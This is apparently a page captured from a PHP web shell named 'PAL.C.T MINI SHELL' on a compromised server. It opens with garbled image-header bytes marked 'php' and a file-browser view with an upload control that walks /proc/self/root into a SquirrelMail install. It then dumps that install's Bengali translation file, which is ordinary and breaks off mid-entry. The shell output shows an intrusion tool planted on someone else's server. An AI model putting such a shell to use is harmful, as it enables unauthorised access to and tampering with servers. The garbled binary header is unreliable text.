‰php  IHDRwQ)Bæa pHYs  šœsRGBŽÎégAMAą üaÔIDATxíÜMk\UĮás&uo,ÖmÄD )XwîŒ+Įe?‰ētw.“oāWpå§;—ŗ°QHZnwĸ`gaiJ’9Ūˆ‰ŅŌĖŸį™ûžũÍaî=ˇnlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸ˇy H†¯@E7j­Í 1j+OFĨ–€‹Rg}ÜĢ‘;@’E™ÖašąųáĶ~ ˙j`Ųuû'ož> ŲjŨ-$˜_§q?žq¸SXzG'åķay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/squirrelmail.po

# Bengali (bn_BD) SquirrelMail Translation
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Uttiya Chowdhury <chowdhury_uttiya@yahoo.com>, 2004.
# Israt Jahan <israt@ankur.org.bd>, 2009.
# $Id: squirrelmail.pot 13149 2008-05-16 04:42:43Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: SquirrelMail HEAD\n"
"Report-Msgid-Bugs-To: SquirrelMail Internationalization <squirrelmail-"
"i18n@lists.sourceforge.net>\n"
"POT-Creation-Date: 2008-05-16 06:41+0200\n"
"PO-Revision-Date: 2009-01-04 10:01+0600\n"
"Last-Translator: Israt Jahan <israt@ankur.org.bd>\n"
"Language-Team: Bengali <ankur-bd-l10n@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"

msgid "Address Book"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ"

msgid "All"
msgstr "āϏāĻŦ"

msgid "To"
msgstr "āĻĒā§āϰāϤāĻŋ"

msgid "Cc"
msgstr "āĻ…āĻŦāĻŋāĻ•āϞ āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ"

msgid "Name"
msgstr "āύāĻžāĻŽ"

msgid "E-mail"
msgstr "āχ-āĻŽā§‡āχāϞ"

msgid "Info"
msgstr "āϤāĻĨā§āϝ"

msgid "Source"
msgstr "āĻ‰ā§ŽāϏ"

msgid "Bcc"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻŋāĻļ⧇āώ⧇ āĻ…āĻŦāĻŋāĻ•āϞ āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ"

msgid "Use Addresses"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāϗ⧁āϞ⧋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Cancel"
msgstr "āĻŦāĻžāϤāĻŋāϞ āĻ•āϰ⧁āύ"

msgid "Address Book Search"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ āĻ•āϰāĻž"

msgid "Search for"
msgstr "āϝāĻž āĻ–ā§‹āρāϜāĻž āĻšāĻŦ⧇"

msgid "in"
msgstr "āĻ­āĻŋāϤāϰ⧇"

msgid "All address books"
msgstr "āϏāĻŦ āĻ āĻŋāĻ•āĻžāύāĻž āĻŦāχāϏāĻŽā§‚āĻš"

msgid "Search"
msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "List all"
msgstr "āϏāĻŦāĻ•āĻŋāϛ⧁āϕ⧇ āϤāĻžāϞāĻŋāĻ•āĻžāĻŦāĻĻā§āϧ āĻ•āϰāĻž"

#, php-format
msgid "Unable to list addresses from %s"
msgstr "%s āĻĨ⧇āϕ⧇ āĻ āĻŋāĻ•āĻžāύāĻžāϗ⧁āϞ⧋ āϤāĻžāϞāĻŋāĻ•āĻžāĻŦāĻĻā§āϧ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "Your search failed with the following error(s)"
msgstr "āύāĻŋāĻŽā§āύ⧋āĻ•ā§āϤ āĻ¤ā§āϰ⧁āϟāĻŋ(āϗ⧁āϞ⧋)āϰ āĻ•āĻžāϰāύ⧇ āφāĻĒāύāĻžāϰ āĻ–ā§‹āρāϜ āĻŦā§āϝāĻ°ā§āĻĨ āĻšā§Ÿā§‡āϛ⧇ "

msgid "No persons matching your search were found"
msgstr "āφāĻĒāύāĻžāϰ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύāĻ•ā§ƒāϤ āϜāĻžā§ŸāĻ—āĻžā§Ÿ āϕ⧋āύ āĻŦā§āϝāĻ•ā§āϤāĻŋ āϖ⧁āρāĻœā§‡ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Return"
msgstr "āĻĢāĻŋāϰ⧇ āφāϏāĻž"

msgid "Close"
msgstr "āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ"

msgid "Nickname"
msgstr "āĻ›āĻĻā§āĻŽāύāĻžāĻŽ"

msgid "Must be unique"
msgstr "āĻ…āĻŦāĻļā§āϝāχ āĻāĻ•āĻ• āĻšāϤ⧇ āĻšāĻŦ⧇"

msgid "E-mail address"
msgstr "āχ-āĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Last name"
msgstr "āύāĻžāĻŽā§‡āϰ āĻļ⧇āώāĻžāĻ‚āĻļ"

msgid "First name"
msgstr "āύāĻžāĻŽā§‡āϰ āĻĒā§āϰāĻĨāĻŽāĻžāĻ‚āĻļ"

msgid "Additional info"
msgstr "āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āϤāĻĨā§āϝ"

msgid "Add to:"
msgstr "āϤ⧇ āϝ⧋āĻ— āĻ•āϰ⧁āύ:"

msgid "No personal address book is defined. Contact administrator."
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āωāĻ˛ā§āϞ⧇āĻ–āĻŋāϤ āύ⧇āχāĨ¤ āĻĒā§āϰāĻļāĻžāϏāύ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύāĨ¤"

msgid "You can only edit one address at the time"
msgstr "āφāĻĒāύāĻŋ āĻāĻ•āĻŦāĻžāϰ⧇ āĻļ⧁āϧ⧁ āĻāĻ•āϟāĻŋ āĻ āĻŋāĻ•āĻžāύāĻž āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ"

msgid "Update address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ āĻ•āϰ⧁āύ"

msgid "ERROR"
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ"

msgid "Please select address that you want to edit"
msgstr "āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻĒāύāĻŋ āϝ⧇ āĻ āĻŋāĻ•āĻžāύāĻžāϟāĻŋ āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻ•āϰāϤ⧇ āϚāĻžāύ āϤāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύ"

msgid "Add address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Edit selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāϟāĻŋāϕ⧇ āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻ•āϰ⧁āύ"

msgid "Delete selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāϟāĻŋāϕ⧇ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Compose to selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāϟāĻŋāϕ⧇ āĻāĻ•āĻ¤ā§āϰāĻŋāϤ āĻ•āϰ⧇ āĻ—āĻ āύ āĻ•āϰ⧁āύ"

msgid "sort by nickname"
msgstr "āĻ›āĻĻā§āĻŽāύāĻžāĻŽ āĻĻāĻŋā§Ÿā§‡ āϏāĻžāϜāĻžāύ⧋"

msgid "sort by name"
msgstr "āύāĻžāĻŽ āĻĻāĻŋā§Ÿā§‡ āϏāĻžāϜāĻžāύ⧋"

msgid "sort by email"
msgstr "āχ-āĻŽā§‡āχāϞ āĻ…āύ⧁āϝāĻžā§Ÿā§€ āϏāĻžāϜāĻžāύ⧋"

msgid "sort by info"
msgstr "āϤāĻĨā§āϝ āĻ…āύ⧁āϏāĻžāϰ⧇ āϏāĻžāϜāĻžāύ⧋"

#, php-format
msgid "Add to %s"
msgstr "%s āϤ⧇ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

#, php-format
msgid "%s wrote:"
msgstr "%s āϞāĻŋāϖ⧇āĻ›āĻŋāϞ:"

msgid "quote"
msgstr "āωāĻĻā§āϧ⧃āϤāĻŋ"

msgid "who"
msgstr "āϕ⧇"

#, php-format
msgid "On %s, %s wrote:"
msgstr "%1$s āϤ⧇, %2$s āϞāĻŋāϖ⧇āĻ›āĻŋāϞ:"

msgid "Subject"
msgstr "āĻŦāĻŋāώ⧟"

msgid "From"
msgstr "āĻšāϤ⧇"

msgid "Date"
msgstr "āϤāĻžāϰāĻŋāĻ–"

msgid "Original Message"
msgstr "āφāϏāϞ āĻŦāĻžāĻ°ā§āϤāĻž"

msgid "Draft Email Saved"
msgstr "āĻ–āϏāĻĄāĻŧāĻž āχ-āĻŽā§‡āχāϞ āϏāĻ‚āϰāĻ•ā§āώāύāĻ•ā§ƒāϤ"

msgid "Could not move/copy file. File not attached"
msgstr "āĻĢāĻžāχāϞāϟāĻŋāϕ⧇ āϏāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞāĻž/āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āϝāĻžā§ŸāύāĻŋāĨ¤ āĻĢāĻžāχāϞ āϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "Your draft has been saved."
msgstr "āφāĻĒāύāĻžāϰ āĻ–āϏ⧜āĻžāϟāĻŋāϕ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Your mail has been sent."
msgstr "āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϟāĻŋ āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "From:"
msgstr "āĻšāϤ⧇:"

msgid "To:"
msgstr "āĻĒā§āϰāϤāĻŋ:"

msgid "Cc:"
msgstr "āĻ…āĻŦāĻŋāĻ•āϞ āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ‌:"

msgid "Bcc:"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻŋāĻļ⧇āώ⧇ āĻ…āĻŦāĻŋāĻ•āϞ āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ:"

msgid "Subject:"
msgstr "āĻŦāĻŋāώ⧟:"

msgid "Send"
msgstr "āĻĒāĻžāĻ āĻžāύ⧋:"

msgid "Attach:"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž:"

msgid "Add"
msgstr "āϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž:"

msgid "Delete selected attachments"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋāϗ⧁āϞ⧋ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid ""
"Because PHP file uploads are turned off, you can not attach files to this "
"message. Please see your system administrator for details."
msgstr ""
"āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āĻĢāĻžāχāϞ āφāĻĒāϞ⧋āĻĄ āĻŦāĻ¨ā§āϧ āĻšāĻŦāĻžāϰ āĻ•āĻžāϰāύ⧇, āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋāϤ⧇ āφāĻĒāύāĻŋ āĻĢāĻžāχāϞāϟāĻŋ āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāύāĻŋāĨ¤ "
"āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āϜāĻžāύāϤ⧇ āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāϕ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύāĨ¤"

msgid "Priority"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāĻŦāĻ°ā§āϤāĻŋāϤāĻž"

msgid "High"
msgstr "āωāĻšā§āϚ"

msgid "Normal"
msgstr "āϏāĻžāϧāĻžāϰāĻŖ"

msgid "Low"
msgstr "āĻ•āĻŽ"

msgid "Receipt"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ"

msgid "On Read"
msgstr "āĻĒāĻžāĻ  āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid "On Delivery"
msgstr "āĻŦāĻŋāϤāϰāĻŖ āĻšāĻšā§āϛ⧇"

msgid "Signature"
msgstr "āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ"

msgid "Addresses"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāϗ⧁āϞ⧋"

msgid "Save Draft"
msgstr "āĻ–āϏ⧜āĻž āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "You have not filled in the \"To:\" field."
msgstr "āφāĻĒāύāĻŋ \"āĻĒā§āϰāϤāĻŋ:\" āĻ•ā§āώ⧇āĻ¤ā§āϰāϟāĻŋ āĻĒā§‚āϰāĻŖ āĻ•āϰ⧇āύāύāĻŋāĨ¤"

#, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "āϏāĻŽāĻ¸ā§āϝāĻž: %s āύāĻžāĻŽā§‡āϰ āĻ–āϏāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏāϟāĻŋ āωāĻĒāĻ¸ā§āĻĨāĻŋāϤ āύ⧇āχāĨ¤"

msgid "Message not sent."
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āĻĒāĻžāĻ āĻžāύ⧋ āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "Server replied:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϜāĻŦāĻžāĻŦ:"

msgid "Illegal folder name. Please select a different name."
msgstr "āĻ…āύ⧈āϤāĻŋāĻ• āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻžāĻŽāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻ…āĻ¨ā§āϝ āύāĻžāĻŽ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύāĨ¤"

msgid "Click here to go back"
msgstr "āĻĢāĻŋāϰ⧇ āϝ⧇āϤ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύ"

msgid "You have not selected a folder to delete. Please do so."
msgstr "āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϕ⧇ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšāĻŦ⧇ āϤāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύāĨ¤"

msgid "Delete Folder"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

#, php-format
msgid "Are you sure you want to delete %s?"
msgstr "āφāĻĒāύāĻŋ āĻ•āĻŋ %s āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āύāĻŋāĻļā§āϚāĻŋāϤ?"

msgid "Yes"
msgstr "āĻšā§āϝāĻžāρ"

msgid "No"
msgstr "āύāĻž"

msgid "Folders"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋"

msgid "Subscribed successfully."
msgstr "āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤāĨ¤"

msgid "Unsubscribed successfully."
msgstr "āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻ…āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤāĨ¤"

msgid "Deleted folder successfully."
msgstr "āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Created folder successfully."
msgstr "āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤ⧈āϰ⧀ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Renamed successfully."
msgstr "āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāĻŖ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Subscription Unsuccessful - Folder does not exist."
msgstr "āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻŦāĻŋāĻĢāϞ- āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϟāĻŋ āωāĻĒāĻ¸ā§āĻĨāĻŋāϤ āύ⧇āχāĨ¤"

msgid "refresh folder list"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϟāĻŋ āϏāϤ⧇āϜ āĻ•āϰ⧁āύ"

msgid "Create Folder"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "as a subfolder of"
msgstr "āĻāϰ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻšāĻŋāϏ⧇āĻŦ⧇"

msgid "None"
msgstr "āϕ⧇āω āύāĻž"

msgid "Let this folder contain subfolders"
msgstr "āĻāχ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϟāĻŋāϕ⧇ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϧāĻžāϰāύ āĻ•āϰāϤ⧇ āĻĻāĻŋāύ"

msgid "Create"
msgstr "āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "Rename a Folder"
msgstr "āĻāĻ•āϟāĻŋ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ⧇āϰ āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāĻŖ āĻ•āϰ⧁āύ"

msgid "Select a folder"
msgstr "āĻāĻ•āϟāĻŋ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύ"

msgid "Rename"
msgstr "āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāĻŖ"

msgid "No folders found"
msgstr "āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ"

msgid "Delete"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Unsubscribe"
msgstr "āĻ…āĻ…āύ⧁āĻŽā§‹āĻĻāύ"

msgid "Subscribe"
msgstr "āĻ…āύ⧁āĻŽā§‹āĻĻāύ"

msgid "No folders were found to unsubscribe from!"
msgstr "āĻ…āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻšāϤ⧇ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ!"

msgid "No folders were found to subscribe to!"
msgstr "āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻĒ⧇āϤ⧇ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ!"

msgid "Subscribe to:"
msgstr "āϝāĻžāϤ⧇ āĻ…āύ⧁āĻŽā§‹āĻĻāύ:"

msgid "You have not selected a folder to rename. Please do so."
msgstr ""
"āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāύ⧇āϰ āϜāĻ¨ā§āϝ āφāĻĒāύāĻŋ āĻāĻ•āϟāĻŋ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧇āύāύāĻŋāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύāĨ¤"

msgid "Rename a folder"
msgstr "āϚāĻŋāĻ āĻŋ āϏāĻžāϜāĻŋā§Ÿā§‡ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏ⧇āϰ āύāĻžāĻŽ āĻĒāĻžāĻ˛ā§āϟāĻŋā§Ÿā§‡ āĻĢ⧇āϞ⧁āύ"

msgid "New name:"
msgstr "āύāϤ⧁āύ āύāĻžāĻŽ:"

msgid "Submit"
msgstr "āϜāĻŽāĻž āĻĻāĻŋāύ"

msgid "ERROR: Help files are not in the right format!"
msgstr "āϏāĻŽāĻ¸ā§āϝāĻž: āϏāĻšāĻžā§ŸāĻŋāĻ•āĻž āĻĢāĻžāχāϞāϗ⧁āϞ⧋ āĻŽāύ⧇ āĻšāĻšā§āϛ⧇ āĻ āĻŋāĻ•āĻŽāϤ āϞ⧇āĻ–āĻž āύ⧇āχ!"

msgid "Help"
msgstr "āϏāĻšāĻžā§ŸāĻŋāĻ•āĻž"

msgid ""
"Help is not available in the selected language. It will be displayed in "
"English instead."
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ­āĻžāώāĻžā§Ÿ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟āĨ¤ āĻāϰ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤ⧇ āχāĻ‚āϰ⧇āĻœā§€āϤ⧇ āĻĒā§āϰāĻĻāĻ°ā§āĻļāĻŋāϤ āĻšāĻŦ⧇āĨ¤"

msgid ""
"Help is not available. Please contact your system administrator for "
"assistance."
msgstr ""
"āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟āĨ¤ āϏāĻšāĻžā§ŸāϤāĻžāϰ āϜāĻ¨ā§āϝ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāϕ⧇āϰ āϏāĻžāĻĨ⧇ "
"āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύāĨ¤"

msgid ""
"This chapter is not available in the selected language. It will be displayed "
"in English instead."
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ­āĻžāώāĻžā§Ÿ āĻ…āĻ§ā§āϝāĻžā§ŸāϟāĻŋ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟āĨ¤ āϤāĻžāχ āχāĻ‚āϰ⧇āĻœā§€āϤ⧇ āϏāĻšāĻžā§ŸāĻŋāĻ•āĻž āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇āĨ¤"

msgid "This chapter is missing"
msgstr "āĻ…āĻ§ā§āϝāĻžā§ŸāϟāĻŋ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇āύāĻž"

#, php-format
msgid "For some reason, chapter %s is not available."
msgstr "āĻ•āĻŋāϛ⧁ āĻ•āĻžāϰāύ⧇, āĻ…āĻ§ā§āϝāĻžā§Ÿ %s āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "Table of Contents"
msgstr "āϏ⧁āĻšā§€āĻĒāĻ¤ā§āϰ"

msgid "Previous"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāĻŦāĻ°ā§āϤ⧀"

msgid "Next"
msgstr "āĻĒāϰāĻŦāĻ°ā§āϤ⧀"

msgid "Top"
msgstr "āĻĒāĻžāϤāĻžāϰ āĻļ⧁āϰ⧁āϤ⧇"

msgid "Viewing an image attachment"
msgstr "āϚāĻŋāĻ āĻŋāϰ āϏāĻžāĻĨ⧇ āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āĻ›āĻŦāĻŋ āĻĻ⧇āĻ–āĻž"

msgid "View message"
msgstr "āϚāĻŋāĻ āĻŋ āĻĒāĻĄāĻŧ⧁āύ"

msgid "Download this as a file"
msgstr "āϚāĻŋāĻ āĻŋāϰ āϏāĻžāĻĨ⧇ āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āĻĢāĻžāχāϞ āĻšāĻŋāϏ⧇āĻŦ⧇ āϰāĻžāϖ⧁āύ"

msgid "INBOX"
msgstr "āĻĄāĻžāĻ•āĻŦāĻžāĻ•ā§āϏ"

msgid "Purge"
msgstr "āĻŦāĻŋāĻļā§‹āϧāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "Last Refresh"
msgstr "āĻļ⧇āώ āϏāϤ⧇āϜāϤāĻž"

msgid "Check mail"
msgstr "āĻŽā§‡āχāϞ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Login"
msgstr "āϞāĻ— āχāύ āĻ•āϰ⧁āύ"

#, php-format
msgid "%s Logo"
msgstr "%s-āϰ āĻ›āĻŦāĻŋ"

#, php-format
msgid "SquirrelMail version %s"
msgstr "SquirrelMail āϏāĻ‚āĻ•āϞāύ %s"

msgid "By the SquirrelMail Project Team"
msgstr "SquirrelMail āĻĒā§āϰāĻ•āĻ˛ā§āĻĒ āĻĻāϞ āĻĻā§āĻŦāĻžāϰāĻž"

#, php-format
msgid "%s Login"
msgstr "%s āϞāĻ—āĻŋāύ"

msgid "Name:"
msgstr "āύāĻžāĻŽ:"

msgid "Password:"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ:"

msgid "No messages were selected."
msgstr "āϕ⧋āύ āĻŦāĻžāĻ°ā§āϤāĻž āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤"

msgid "Options"
msgstr "āφāĻĒāύāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻ"

msgid "Message Highlighting"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻ•āĻŋāϛ⧁ āĻ…āĻ‚āĻļ āĻŽā§‹āϟāĻž āĻ…āĻ•ā§āώāϰ⧇ āϞ⧇āĻ–āĻž"

msgid "New"
msgstr "āύāϤ⧁āύ"

msgid "Done"
msgstr "āĻ•āĻžāϜ āĻļ⧇āώ"

msgid "To or Cc"
msgstr "āĻĒā§āϰāϤāĻŋ āĻāĻŦāĻ‚ āĻ…āĻŦāĻŋāĻ•āϞ āĻĒā§āϰāϤāĻŋāϞāĻŋāĻĒāĻŋ"

msgid "subject"
msgstr "āĻŦāĻŋāώ⧟"

msgid "Edit"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "Up"
msgstr "āωāĻĒāϰ⧇"

msgid "Down"
msgstr "āύ⧀āĻšā§‡"

msgid "No highlighting is defined"
msgstr "āĻŽā§‹āϟāĻž āĻ…āĻ•ā§āώāϰ⧇ āϞ⧇āĻ–āĻžāϰ āϜāĻ¨ā§āϝ āĻ•āĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇ āϤāĻž āĻŦāϞāĻž āĻšā§Ÿ āύāĻŋ"

msgid "Identifying name"
